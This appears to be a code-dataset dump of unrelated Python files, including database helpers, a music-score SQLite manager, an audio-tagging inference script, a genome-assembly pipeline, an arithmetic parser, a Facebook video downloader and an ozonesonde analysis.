validity: continue\n if not show_empty and not order['give_remaining']: continue\n if address and order['source'] != address: continue\n\n # Ignore BTC orders one block early.\n time_left = get_time_left(order)\n if order['give_asset'] == 'BTC': time_left -= 1\n if not show_expired and time_left < 0:\n continue\n\n orders.append(dict(order))\n cursor.close()\n return orders\n\ndef get_order_matches (db, validity=None, addresses=[], show_expired=True, tx0_hash=None, tx1_hash=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM order_matches ORDER BY tx1_index''')\n order_matches = []\n for order_match in cursor.fetchall():\n if validity and order_match['validity'] != validity: continue\n\n if not show_expired:\n order_match_time_left = get_order_match_time_left(order_match)\n if order_match_time_left < 0: continue\n\n if addresses and ((order_match['tx0_address'] not in addresses or \n order_match['forward_asset'] != 'BTC') and \n (order_match['tx1_address'] not in addresses or\n order_match['backward_asset'] != 'BTC')):\n continue\n if tx0_hash and tx0_hash != order_match['tx0_hash']: continue\n if tx1_hash and tx1_hash != order_match['tx1_hash']: continue\n order_matches.append(dict(order_match))\n cursor.close()\n return order_matches\n\ndef get_btcpays (db, validity=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM btcpays ORDER BY tx_index''')\n btcpays = []\n for btcpay in cursor.fetchall():\n if validity and btcpay['Validity'] != validity: continue\n btcpays.append(dict(btcpay))\n cursor.close()\n return btcpays\n\ndef get_issuances (db, validity=None, asset=None, issuer=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM issuances \\\n ORDER BY tx_index ASC''')\n issuances = []\n for issuance in cursor.fetchall():\n if validity and issuance['Validity'] != validity: continue\n if asset != None and issuance['asset'] != asset:\n if not valid_asset_name(asset): raise exceptions.AssetError('Invalid asset name.')\n continue\n if issuer and issuance['issuer'] != issuer: continue\n issuances.append(dict(issuance))\n cursor.close()\n return issuances\n\ndef get_broadcasts (db, validity=None, source=None, order_by='tx_index ASC'):\n cursor = db.cursor()\n\n if order_by == 'tx_index ASC':\n cursor.execute('''SELECT * FROM broadcasts \\\n ORDER BY tx_index ASC''')\n elif order_by == 'timestamp DESC':\n cursor.execute('''SELECT * FROM broadcasts \\\n ORDER BY timestamp DESC''')\n else:\n raise Exception('Unknown scheme for ordering broadcasts.')\n\n broadcasts = []\n for broadcast in cursor.fetchall():\n if validity and broadcast['Validity'] != validity: continue\n if source and broadcast['source'] != source: continue\n broadcasts.append(dict(broadcast))\n cursor.close()\n return broadcasts\n\ndef get_bets (db, validity=None, address=None, show_empty=True, show_expired=True):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM bets ORDER BY odds DESC, tx_index''')\n block_count = bitcoin.rpc('getblockcount', [])['result']\n bets = []\n for bet in cursor.fetchall():\n if validity and bet['Validity'] != validity: continue\n if not show_empty and not bet['wager_remaining']: continue\n if address and bet['source'] != address: continue\n time_left = get_time_left(bet)\n if not show_expired and time_left < 0: continue\n bets.append(dict(bet))\n cursor.close()\n return bets\n\ndef get_bet_matches (db, validity=None, addresses=None, show_expired=True, tx0_hash=None, tx1_hash=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM bet_matches ORDER BY tx1_index''')\n bet_matches = []\n for bet_match in cursor.fetchall():\n if validity and bet_match['validity'] != validity: continue\n if not show_expired:\n bet_match_time_left = get_bet_match_time_left(bet_match)\n if bet_match_time_left < 0: continue\n if addresses and not (bet_match['tx0_address'] in addresses or\n bet_match['tx1_address'] in addresses):\n continue\n if tx0_hash and tx0_hash != bet_match['tx0_hash']: continue\n if tx1_hash and tx1_hash != bet_match['tx1_hash']: continue\n bet_matches.append(dict(bet_match))\n cursor.close()\n return bet_matches\n\ndef get_dividends (db, validity=None, address=None, asset=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM dividends ORDER BY tx_index''')\n dividends = []\n for dividend in cursor.fetchall():\n if validity and dividend['Validity'] != validity: continue\n if address and dividend['source'] != address: continue\n if asset != None and dividend['asset'] != asset: continue\n dividends.append(dict(dividend))\n cursor.close()\n return dividends\n\ndef get_burns (db, validity=True, address=None):\n cursor = db.cursor()\n cursor.execute('''SELECT * FROM burns ORDER BY tx_index''')\n burns = []\n for burn in cursor.fetchall():\n if validity and burn['Validity'] != validity: continue\n if address and burn['address'] != address: continue\n burns.append(dict(burn))\n cursor.close()\n return burns\n\ndef get_address (db, address):\n if not bitcoin.base58_decode(address, config.ADDRESSVERSION):\n raise exceptions.InvalidAddressError('Not a valid Bitcoin address:',\n address)\n address_dict = {}\n address_dict['balances'] = get_balances(db, address=address)\n address_dict['burns'] = get_burns(db, validity='Valid', address=address)\n address_dict['sends'] = get_sends(db, validity='Valid', source=address)\n address_dict['orders'] = get_orders(db, validity='Valid', address=address)\n address_dict['order_matches'] = get_order_matches(db, validity='Valid', addresses=[address])\n address_dict['btcpays'] = get_btcpays(db, validity='Valid')\n address_dict['issuances'] = get_issuances(db, validity='Valid', issuer=address)\n address_dict['broadcasts'] = get_broadcasts(db, validity='Valid', source=address)\n address_dict['bets'] = get_bets(db, validity='Valid', address=address)\n address_dict['bet_matches'] = get_bet_matches(db, validity='Valid', addresses=[address])\n address_dict['dividends'] = get_dividends(db, validity='Valid', address=address)\n return address_dict\n\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n","sub_path":"lib/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":16646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"490296012","text":"import sqlite3\nimport os\nimport scorelib\n\n\nclass DatabaseManager:\n def __init__(self, file_path):\n self.connection = sqlite3.connect(file_path)\n self.commit()\n self.cursor = self.connection.cursor()\n\n def commit(self):\n \"\"\"commit = save changes to database\"\"\"\n self.connection.commit()\n\n def import_schema(self, file_name):\n \"\"\"create tables from SQL specified in the filename\"\"\"\n location = os.path.realpath(\n os.path.join(os.getcwd(), os.path.dirname(__file__)))\n query = open(os.path.join(location, file_name), 'r').read()\n self.cursor.executescript(query)\n\n def insert_person(self, person):\n name = person.name\n born = person.born\n died = person.died\n self.cursor.execute('SELECT * FROM person WHERE name IS ?', (name,))\n row = self.cursor.fetchone()\n\n if row is None:\n self.cursor.execute(\n 'INSERT INTO person(born, died, name) VALUES (?, ?, ?)', (born, died, name))\n return self.cursor.lastrowid\n else:\n if born and row[1] is None:\n self.cursor.execute(\n 'UPDATE person SET born=? WHERE id=?', (born, row[0]))\n if died and row[2] is None:\n self.cursor.execute(\n 'UPDATE person SET died=? WHERE id=?', (died, row[0]))\n return row[0]\n\n def check_composition_data(self, composition):\n \"\"\"Check Authors and Voices\"\"\"\n self.cursor.execute(\"SELECT * FROM score WHERE name IS ? AND genre IS ? AND key IS ? AND incipit IS ? AND year IS ?\",\n (composition.name, composition.genre, composition.key, composition.incipit, composition.year))\n rows = self.cursor.fetchall()\n if len(rows) > 0:\n for row in rows:\n self.cursor.execute(\n \"SELECT * FROM (SELECT composer FROM score_author WHERE score IS ?) INNER JOIN person ON composer = person.id\", (row[0],))\n authors_valid = self.compare_persons(\n composition.authors, self.cursor.fetchall())\n self.cursor.execute(\n \"SELECT * FROM voice WHERE score IS ?\", (row[0],))\n voices_valid = self.compare_voices(\n composition.voices, self.cursor.fetchall())\n if authors_valid and voices_valid:\n return row[0]\n return -1\n\n def insert_composition(self, composition):\n \"\"\"INSERT score(composition)\"\"\"\n composition_id = self.check_composition_data(composition)\n if composition_id == -1:\n self.cursor.execute(\"INSERT INTO score(name, genre, key, incipit, year) VALUES (?, ?, ?, ?, ?)\", (\n composition.name, composition.genre, composition.key, composition.incipit, composition.year))\n return self.cursor.lastrowid\n return composition_id\n\n def insert_voice(self, voice, composition_id, number):\n if voice is None:\n voice = scorelib.Voice(None, None)\n self.cursor.execute(\"SELECT * FROM voice where name IS ? and range IS ? and number IS ? and score IS ?\",\n (voice.name, voice.range, number, composition_id))\n row = self.cursor.fetchone()\n if row is None:\n voice_name = voice.name\n if voice_name == '':\n voice_name = None\n self.cursor.execute(\"INSERT INTO voice(number, score, range, name) VALUES (?, ?, ?, ?)\", (\n number, composition_id, voice.range, voice_name))\n return self.cursor.lastrowid\n return row[0]\n\n def insert_edition(self, edition, composition_id):\n self.cursor.execute(\n \"SELECT * FROM edition WHERE score IS ? and name IS ?\", (composition_id, edition.name))\n row = self.cursor.fetchone()\n authors_valid = True\n if row:\n self.cursor.execute(\n \"SELECT * FROM ((SELECT editor FROM edition_author WHERE edition IS ?) NATURAL INNER JOIN person)\", (row[0],))\n authors_valid = self.compare_persons(\n edition.authors, self.cursor.fetchall())\n if row is None or not authors_valid:\n self.cursor.execute(\n \"INSERT INTO edition(score, name, year) VALUES (?, ?, ?)\", (composition_id, edition.name, None))\n return self.cursor.lastrowid\n return row[0]\n\n def insert_score_authors(self, composition_id, composers_id):\n for author in composers_id:\n self.cursor.execute(\n \"SELECT * from score_author where score IS ? and composer IS ?\", (composition_id, author))\n row = self.cursor.fetchone()\n if row is None:\n self.cursor.execute(\n \"INSERT into score_author(score, composer) VALUES (?, ?)\", (composition_id, author))\n\n def insert_edition_authors(self, edition_id, editors_id):\n for author in editors_id:\n self.cursor.execute(\n \"SELECT * from edition_author where edition IS ? and editor IS ?\", (edition_id, author))\n row = self.cursor.fetchone()\n if row is None:\n self.cursor.execute(\n \"INSERT into edition_author(edition, editor) VALUES (?, ?)\", (edition_id, author))\n\n def insert_print(self, print_item, edition_id):\n if print_item.partiture:\n partiture = 'Y'\n else:\n partiture = 'N'\n\n self.cursor.execute(\"SELECT * FROM print WHERE id IS ? AND partiture IS ? AND edition IS ?\",\n (print_item.print_id, partiture, edition_id))\n row = self.cursor.fetchone()\n if row is None:\n self.cursor.execute(\"INSERT INTO print(id, partiture, edition) VALUES (?, ?, ?)\", (\n print_item.print_id, partiture, edition_id))\n return self.cursor.lastrowid\n return row[0]\n\n def compare_persons(self, persons, tuples):\n b1 = True\n if len(tuples) != len(persons):\n return False\n for item in tuples:\n b2 = False\n for person in persons:\n b2 = b2 or person.name == item[4]\n b1 = b1 and b2\n return b1\n\n def compare_voices(self, voices, tuples):\n if len(tuples) != len(voices):\n return False\n tuples.sort(key=lambda x: int(x[1])) # sort by second item\n for item in tuples:\n if str(voices[item[1]-1].name) != str(item[4]) or str(voices[item[1]-1].range) != str(item[3]):\n return False\n return True\n","sub_path":"03-database/database_manager.py","file_name":"database_manager.py","file_ext":"py","file_size_in_byte":6648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"152616456","text":"import os\nimport torch\nimport torchaudio\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom data import get_dataset\nfrom model import load_encoder\nfrom scripts.datasets.resample import resample\nfrom utils import parse_args, download_yt\n\ndef save_taggram(yt_audio, title, sr, audio_length, taggram, tags, fp):\n taggram = np.array(taggram)\n\n ## global figure settings\n plt.rcParams[\"figure.figsize\"] = (20, 10) # set size of the figures\n fontsize = 12 # set figures font size\n in_length = yt_audio.shape[1] / sr\n\n ## figure\n fig, ax = plt.subplots()\n ax.title.set_text(title)\n ax.title.set_fontsize(fontsize)\n ax.set_xlabel(\"(seconds)\", fontsize=fontsize)\n\n ## y-axis\n tags = tags\n y_pos = np.arange(len(tags))\n ax.set_yticks(y_pos)\n ax.set_yticklabels(tags, fontsize=fontsize - 1)\n\n ## x-axis\n x_pos = np.arange(0, taggram.shape[0], 10)\n ax.set_xticks(x_pos)\n x_label = [int(x * (audio_length / sr)) for x in x_pos]\n ax.set_xticklabels(x_label, fontsize=fontsize)\n\n plt.imshow(taggram.T, interpolation=None, aspect=\"auto\")\n plt.tight_layout()\n plt.savefig(fp)\n print(\"Saving taggram in taggram.png...\")\n \n\nif __name__ == \"__main__\":\n args = parse_args(\"./config/config.yaml\")\n\n if args.audio_url is None:\n raise Exception(\"args.audio_url is not provided (link to YouTube video)\")\n\n args.world_size = 1\n args.supervised = 0\n args.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n # data loaders\n (\n train_loader,\n train_dataset,\n val_loader,\n val_dataset,\n test_loader,\n test_dataset,\n ) = get_dataset(args, pretrain=False, download=args.download)\n\n # load pre-trained encoder\n encoder = load_encoder(args, reload=True)\n encoder.eval()\n encoder = encoder.to(args.device)\n\n model = None\n if not args.supervised:\n finetuned_head = torch.nn.Sequential(\n torch.nn.Linear(args.n_features, args.n_classes)\n )\n\n finetuned_head.load_state_dict(\n torch.load(\n os.path.join(\n args.finetune_model_path,\n f\"finetuner_checkpoint_{args.finetune_epoch_num}.pt\",\n ),\n map_location=args.device\n )\n )\n finetuned_head = finetuned_head.to(args.device)\n\n tmp_input_file = \"yt.mp3\"\n args.current_epoch = 0\n\n print(\"Downloading and converting YouTube video...\")\n video_title, video_id = download_yt(args.audio_url, tmp_input_file, args.sample_rate)\n\n conv_fn = f\"{tmp_input_file}_{args.sample_rate}\"\n resample(tmp_input_file, conv_fn, args.sample_rate)\n\n yt_audio = process_wav(args.sample_rate, conv_fn, False)\n yt_audio = torch.from_numpy(yt_audio)\n yt_audio = yt_audio.reshape(1, -1) # to mono\n\n # split into equally sized tensors of args.audio_length\n chunks = torch.split(yt_audio, args.audio_length, dim=1)\n chunks = chunks[\n :-1\n ] # remove last one, since it's not a complete segment of audio_length\n\n print(\"Starting inference...\")\n with torch.no_grad():\n taggram = []\n for idx, x in enumerate(chunks):\n x = x.to(args.device)\n\n # normalise\n if train_dataset.mean:\n x = train_dataset.normalise_audio(x)\n\n # add batch dim\n x = x.unsqueeze(0)\n h = encoder(x)\n\n output = finetuned_head(h)\n output = torch.nn.functional.softmax(output, dim=1)\n output = output.squeeze(0) # remove batch dim\n taggram.append(output.cpu().detach().numpy())\n\n print(\"Cleaning up mp3...\")\n os.remove(tmp_input_file)\n os.remove(conv_fn)\n\n save_taggram(yt_audio, video_title, args.sample_rate, args.audio_length, taggram, train_dataset.tags, \"taggram.png\")","sub_path":"inference.py","file_name":"inference.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"562044032","text":"import argparse\r\nimport urllib.request as req\r\nfrom urllib.parse import urlparse\r\nimport os\r\n\r\nif __name__ == \"__main__\":\r\n parser = argparse.ArgumentParser(description=\"Download a website by giving the URL\")\r\n parser.add_argument(\"url\", help=\"Add the url to be downloaded\")\r\n args = parser.parse_args()\r\n url = args.url\r\n \r\n parser.add_argument(\"-d\",\"--destination\", help=\"Add the filepath to where the file should be stored\", default='./{}'.format(os.path.basename(url)))\r\n args = parser.parse_args()\r\n destination = args.destination\r\n\r\n\r\n print(\"Downloading.. \")\r\n urlInfo = req.urlretrieve(url, destination)\r\n\r\n\r\n ","sub_path":"webget_v2.py","file_name":"webget_v2.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"627592592","text":"import sys\nimport os\nimport fnmatch\n\nFILENAME = 'console.log'\n\ndef format(filename):\n\tfile = open(filename, 'r',encoding='utf-8')\n\toutputfile = open('FORMAT' + filename, 'w')\n\n\tfor line in file:\n\t\toutputfile.writelines(line.replace('INFO', '\\nINFO').replace('exec ','\\n\\nexec ').replace('declare','\\n\\ndeclare').replace('[values=','\\n\\n[values='))\n\toutputfile.close()\n\nif __name__ == \"__main__\":\n\tfor file in sys.argv:\n\t\tif fnmatch.fnmatch(file, '*.log'):\n\t\t\tprint(file)\n\t\t\tformat(file)\n\n\n","sub_path":"LogFormat/logFormat.py","file_name":"logFormat.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"418878863","text":"import argparse\nimport os\nimport re\nimport glob\nimport sys\n\ndef usage():\n argp=argparse.ArgumentParser(description='auto analysis pipeline', formatter_class=argparse.RawTextHelpFormatter)\n argp.add_argument('-indir', dest='in_dir', help='path to the input raw data directory')\n argp.add_argument('-outdir', dest='out_dir', help='path to the output directory')\n args=argp.parse_args()\n \n if args.in_dir and args.out_dir:\n r1_dict={}\n r2_dict={}\n indir=os.path.join(os.path.abspath(args.in_dir), '')\n file_path=indir+'*.gz'\n files=glob.glob(file_path, recursive=True)\n for fq_file in files:\n find_sample1=re.search(r'.+\\/(.*?)_R1.fastq.gz', fq_file)\n find_sample2=re.search(r'.+\\/(.*?)_R2.fastq.gz', fq_file)\n print (fq_file)\n if find_sample1:\n sample_name=find_sample1.group(1)\n r1_dict[sample_name]=fq_file\n elif find_sample2:\n sample_name=find_sample2.group(1)\n r2_dict[sample_name]=fq_file\n print (r1_dict)\n if len(r1_dict)>0:\n outdir=os.path.join(os.path.abspath(args.out_dir), '')\n trimmed_dir=outdir+\"trimmed/\"\n mkdir_cmd=\"mkdir -p \"+trimmed_dir\n print (mkdir_cmd)\n os.system(mkdir_cmd)\n \n #bam_dir=outdir+\"bam/\"\n #mkdir_cmd=\"mkdir -p \"+bam_dir\n #os.system(mkdir_cmd)\n \n #down_dir=outdir+\"downsampled/\"\n #mkdir_cmd=\"mkdir -p \"+down_dir\n #os.system(mkdir_cmd)\n stats_dir=outdir+\"stats/\"\n mkdir_cmd=\"mkdir -p \"+stats_dir\n os.system(mkdir_cmd)\n #outsh=outdir+\"run_\"+sample+\".sh\"\n outsh=outdir+\"soapdenovo.sh\"\n out=open(outsh, 'w')\n for sample, r1_file in r1_dict.items():\n \n echo_cmd='echo \" process sample '+sample+'\"\\n'\n out.write(echo_cmd)\n r2_file=r2_dict[sample]\n r1_pe=trimmed_dir+sample+\"-PE_R1.fastq.gz\"\n r2_pe=trimmed_dir+sample+\"-PE_R2.fastq.gz\"\n r1_se=trimmed_dir+sample+\"-SE_R1.fastq.gz\"\n r2_se=trimmed_dir+sample+\"-SE_R2.fastq.gz\"\n #trim_cmd=\" java -jar -Xmx150g /home/thinkmate/Downloads/Trimmomatic-0.39/trimmomatic-0.39.jar PE \"+r1_file+\" \"+r2_file+\" \"+r1_pe+\" \"+r1_se+\" \"+r2_pe+\" \"+r2_se+\" ILLUMINACLIP:/home/thinkmate/Downloads/Trimmomatic-0.39/adapters/NexteraPE-PE.fa:2:30:10 LEADING:3 TRAILING:3 SLIDINGWINDOW:4:15 MINLEN:36\"\n trim_cmd=\" java -jar -Xmx200g /home/thinkmate/Downloads/Trimmomatic-0.39/trimmomatic-0.39.jar PE -threads 24 \"+r1_file+\" \"+r2_file+\" \"+r1_pe+\" \"+r1_se+\" \"+r2_pe+\" \"+r2_se+\" ILLUMINACLIP:/home/thinkmate/Downloads/Trimmomatic-0.39/adapters/TruSeq3-PE-2.fa:2:30:10 LEADING:3 TRAILING:3 SLIDINGWINDOW:4:15 MINLEN:36\"\n #outsam=bam_dir+sample+\".sam\"\n # out.write(trim_cmd+\"\\n\")\n #r1_down=down_dir+sample+\"-down_R1.fastq.gz\"\n #r2_down=down_dir+sample+\"-down_R1.fastq.gz\"\n #down_cmd=\"/home/thinkmate/Yilong/tools/bbmap/reformat.sh in=\"+r1_pe+\" in2=\"+r2_pe+\" out=\"+r1_down+\" out2=\"r2_down+\" reads=1000000 samplereadstarget=1000000 \"\n #bwa_cmd=\"bwa mem -t 24 /home/thinkmate/Yilong/Published_assembly/Fragaria_vesca_v4.0/Fragaria_vesca_v4.0.a1.normalized.fasta \"+ r1_pe+\" \"+r2_pe+ \" > \"+outsam\n #out.write(bwa_cmd+\"\\n\")\n #samtools_fixmate_cmd=\"samtools fixmate -O bam \"+outsam+\" \"+outsam+\".bam\"\n #out.write(samtools_fixmate_cmd+\"\\n\")\n #samtools_sort_cmd=\"samtools sort -O bam -o \"+outsam+\"_sorted.bam \"+outsam+\".bam\"\n #out.write(samtools_sort_cmd+\"\\n\")\n merge_txt=stats_dir+sample+\"-ihist_merge.txt\"\n bbmerge_cmd=\"/home/thinkmate/Yilong/tools/bbmap/bbmerge.sh in1=\"+r1_pe+\" in2=\"+r2_pe+\" ihist=\"+merge_txt+\" reads=400000\"\n #out.write(bbmerge_cmd+\"\\n\")\n assembly_dir=outdir+\"assembly/\"+sample+\"/\"\n mkdir_cmd=\"mkdir -p \"+assembly_dir\n os.system(mkdir_cmd)\n insert=insertsize(merge_txt)\n cfg_file=assembly_dir+sample+\"-lib.cfg\"\n sample_cfg(r1_pe, r2_pe, insert, cfg_file)\n assembly_out=assembly_dir+sample\n log=assembly_dir+sample+\"-assembly.log\"\n out.write(\"cd \"+assembly_dir+\"\\n\")\n assembly_cmd=\"soapdenovo2-127mer all -s \"+cfg_file+\" -K 61 -p 22 -o \"+assembly_out+\" >> \"+log\n out.write(assembly_cmd+\"\\n\")\n out.close()\n os.system(\"chmod +x \"+outsh)\n\ndef insertsize(bbmerge_out):\n insert=200\n with open (bbmerge_out, 'r') as f:\n for line in f:\n line=line.strip()\n find_insert=re.search(r'#Mean\\t(.*?)$', line)\n if find_insert:\n insert=find_insert.group(1)\n break\n f.close()\n return insert\n\n\n\n\n\ndef sample_cfg(r1_file, r2_file,insert, outfile):\n out=open(outfile, 'w')\n example_cfg=\"/home/thinkmate/Yilong/assembly_analysis/soapdenovo.cfg\"\n with open(example_cfg, 'r') as f:\n for line in f:\n line=line.strip()\n if re.search(r'^q1=', line):\n newline=\"q1=\"+r1_file\n elif re.search(r'^q2=', line):\n newline=\"q2=\"+r2_file\n elif re.search(r'avg_ins=', line):\n newline=\"avg_ins=\"+str(insert)\n else:\n newline=line\n out.write(newline+\"\\n\")\n\n out.close()\n\n \n \n\nif __name__ == \"__main__\":\n usage() \n","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":5733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143901133","text":"\"\"\"\nsimple arithmetic expression parser\n\nexpr ::= num | num bin_op expr | (expr)\n\nlearnings:\n preferred recursion. select num expansion last to avoid premature return\n\nchallenges:\n -how to handle the general form, e-> e op e, without left recursion\n -operator precedence\n -build a parse tree\n\"\"\"\n\nimport lex\n\nclass ASTNode:\n pass\n\nclass AST:\n pass\n\nclass BaseParser:\n def __init__(self, tokens):\n self.tokens = tokens\n self.idx = -1\n \n def next(self):\n self.idx += 1\n return self.tokens[self.idx]\n \n def parse(self):\n pass\n\"\"\"\n Recursive descent parser\n\"\"\"\nclass RDParser(BaseParser):\n def __init__(self, tokens):\n super().__init__(tokens)\n print(self.tokens)\n\n def parse(self):\n if self.E():\n if self.EOF():\n print(\"Success\")\n else: \n print(\"Failed.\")\n else: \n print(\"Failed\")\n\n def E(self):\n temp = self.idx\n if self.backtrack(temp) and self.Num() and self.bin_op() and self.E():\n return True\n elif self.backtrack(temp) and self.O_PAR() and self.E() and self.C_PAR():\n return True\n elif self.backtrack(temp) and self.Num():\n return True\n else: \n return False\n\n def backtrack(self, temp):\n self.idx = temp\n return True\n\n def Num(self):\n t = self.next()\n if t.token.type == \"NUM\":\n return True\n\n def bin_op(self):\n t = self.next()\n if t.token.type == \"BIN_OP\":\n return True\n\n def O_PAR(self):\n t = self.next()\n if t.token.type == \"O_PAR\":\n return True\n \n def C_PAR(self):\n t = self.next()\n if t.token.type == \"C_PAR\":\n return True\n\n def EOF(self):\n t = self.next()\n if t.token.type == \"EOF\":\n return True\n\n\"\"\"\n 5*3+4:\n\n 4\n /\n + \n / \\\n * 3\n \\\n 5\n\"\"\"\n\nif __name__ == '__main__':\n text = \"((1)+(3*2))\"\n l = lex.Lexer(text)\n l.scan()\n\n p = RDParser(l.tokens)\n p.parse()","sub_path":"parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"414379120","text":"#!usr/bin/python3.7\n#Author: DulLah ©2019\n#contact: fb.me/dulahz\n#github: github.com/dz-id\n\nimport os, sys, requests, time\nfrom data import cekKuki\nfrom bs4 import BeautifulSoup as parser\nfrom http.cookiejar import LWPCookieJar as kuki\nfrom clint.textui import progress\n\nglobal W, G, R\nif sys.platform in ['linux','linux2']:\n\tW = '\\033[0m'\n\tG = '\\033[1;92m'\n\tR = '\\033[1;91m'\nelse:\n\tW = ''\n\tG = ''\n\tR = ''\ntry:\n\tos.mkdir('result')\nexcept: pass\ntry:\n\tos.mkdir('result/video')\nexcept: pass\n\nclass FbVid:\n\tdef __init__(self):\n\t\tcekKuki.cek(self)\n\t\tself.count = 0\n\t\tself.time = time.strftime('%Y-%H-%M-%S')\n\t\tself.HD = {'User-Agent' : open('UserAgent/ua.txt').read()}\n\t\tself.req = requests.Session()\n\t\ts = self.req\n\t\ts.cookies = kuki('log/kuki')\n\t\ts.cookies.load()\n\t\tself.Main()\n\t\n\tdef Continue(self,url):\n\t\ttry:\n\t\t\tdownload = self.req.get('https://mbasic.facebook.com'+url,headers = self.HD)\n\t\t\tif download.status_code == 200:\n\t\t\t\tself.count +=1\n\t\t\t\twith open('result/video/'+str(self.time)+'_'+str(self.count)+'.mp4','wb') as save:\n\t\t\t\t\tvideo = int(download.headers.get('content-length'))\n\t\t\t\t\tfor chunk in progress.bar(download.iter_content(chunk_size=1024), expected_size=(video/1024) + 1):\n\t\t\t\t\t\tif chunk:\n\t\t\t\t\t\t\tsave.write(chunk)\n\t\t\t\t\t\t\tsave.flush()\n\t\t\tprint(W + '[' + G + '•' + W + '] done!')\n\t\t\tprint(W + '[' + G + '#' + W + '] video saved : '+ G + 'result/video/'+str(self.time)+'_'+str(self.count)+'.mp4')\n\t\t\texit()\n\t\texcept requests.exceptions.ConnectionError:\n\t\t\tprint(W + '\\n[' + R + '!' + W + '] ' + R + 'connections error!')\n\t\t\tsys.exit()\n\t\t\t\n\tdef Get(self,link):\n\t\ttry:\n\t\t\ta = self.req.get(link,headers = self.HD)\n\t\t\tb = parser(a.content, 'html.parser')\n\t\t\tfor i in b.find_all('a'):\n\t\t\t\tif '/video_redirect/?' in str(i):\n\t\t\t\t\tprint(W + '[' + G + '*' + W + '] please wait... ')\n\t\t\t\t\tself.Continue(i['href'])\n\t\t\t\t\tbreak\n\t\texcept requests.exceptions.ConnectionError:\n\t\t\tprint(W + '\\n[' + R + '!' + W + '] ' + R + 'connections error!')\n\t\t\tsys.exit()\n\t\n\tdef Main(self):\n\t\turl = input(W + '\\n[' + G + '?' + W + '] enter post video url : '+G)\n\t\turl = url.replace('https://web.facebook.com','https://mbasic.facebook.com')\n\t\turl = url.replace('https://m.facebook.com','https://mbasic.facebook.com')\n\t\tself.Get(url)\ntry:\n\tFbVid()\nexcept Exception as E:\n\tprint(W + '[' + R + '!' + W + '] ' + R + str(E))\n\tsys.exit()","sub_path":"data/FbVidDown.py","file_name":"FbVidDown.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"149198180","text":"import pandas as pd\nimport numpy as np\nimport re\nimport glob\nimport math\nfrom math import log\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import AutoMinorLocator\nfrom matplotlib.offsetbox import AnchoredText\n\nfrom Josie17_Functions import Calc_average_profile_Pair, Calc_average_profile, Plot_compare_4profile_plots_updated\nfrom Josie17_Functions import Calc_RDif, Calc_ADif, Plot_compare_2profileplots_Pair, Plot_compare_2profile_plots_updated\nfrom rdif_calibration_functions import correct_Rdif\n\ndf = pd.read_csv(\"/home/poyraden/Josie17/Files/Josie17_DataAll.csv\", low_memory=False)\n\nresol = 200\n# dimension for Rdif: ymax/resolution\ndimension = int(7000/resol)\n\nytitle = 'Time (sec.)'\n\n# remove the bad simulations and use dfcleaned\n# here there are two cleaning one from Roeland which has Sim 179 and team 4, Sim 172 and Team 1 and the other is just 175\n# second new cleaning 01/02 is to remove profiles that have a and b:these are 171-a, 172-b, 180-b, 185-b\ndf = df.drop(df[((df.Sim == 171) | (df.Sim == 172) | (df.Sim == 180) | (df.Sim == 185))].index)\ndf = df.drop(df[(df.Sim == 179) & (df.Team == 4)].index)\ndf = df.drop(df[(df.Sim == 172) & (df.Team == 1)].index)\ndf = df[(df.PO3 > 0) & (df.PO3_OPM > 0)]\ndf = df.drop(df[(df.Tsim > 7000)].index)\n\ndf = df.drop(df[(df.Sim == 178) & (df.Team == 3)].index)\ndfcleaned = df.drop(df[(df.Sim == 175)].index)\n\n###############################################\n# Filters for Sonde, Solution, Buffer selection\n# 1, 0.1 ENSCI vs SPC\nfiltEN = dfcleaned.ENSCI == 1\nfiltSP = dfcleaned.ENSCI == 0\n\nfiltS10 = dfcleaned.Sol == 1\nfiltS05 = dfcleaned.Sol == 0.5\nfiltS20 = dfcleaned.Sol == 2\n\nfiltB01 = dfcleaned.Buf == 0.1\nfiltB10 = dfcleaned.Buf == 1.0\nfiltB05 = dfcleaned.Buf == 0.5\n\nfilterEN0505 = (filtEN & filtS05 & filtB05)\nfilterEN1001 = (filtEN & filtS10 & filtB01)\nfilterEN2001 = (filtEN & filtS20 & filtB01)\n\nprofEN0505 = dfcleaned.loc[filterEN0505]\nprofEN1001 = dfcleaned.loc[filterEN1001]\nprofEN2001 = dfcleaned.loc[filterEN2001]\n\nprofEN0505_nodup = profEN0505.drop_duplicates(['Sim', 'Team'])\nprofEN1001_nodup = profEN1001.drop_duplicates(['Sim', 'Team'])\ntotO3_EN0505 = profEN0505_nodup.frac.mean()\ntotO3_EN1001 = profEN1001_nodup.frac.mean()\n\n\nfilterSP1010 = (filtSP & filtS10 & filtB10)\nfilterSP1001 = (filtSP & filtS10 & filtB01)\nfilterSP2001 = (filtSP & filtS20 & filtB01)\n\nprofSP1010 = dfcleaned.loc[filterSP1010]\nprofSP1001 = dfcleaned.loc[filterSP1001]\nprofSP2001 = dfcleaned.loc[filterSP1001]\n\nprofSP1010_nodup = 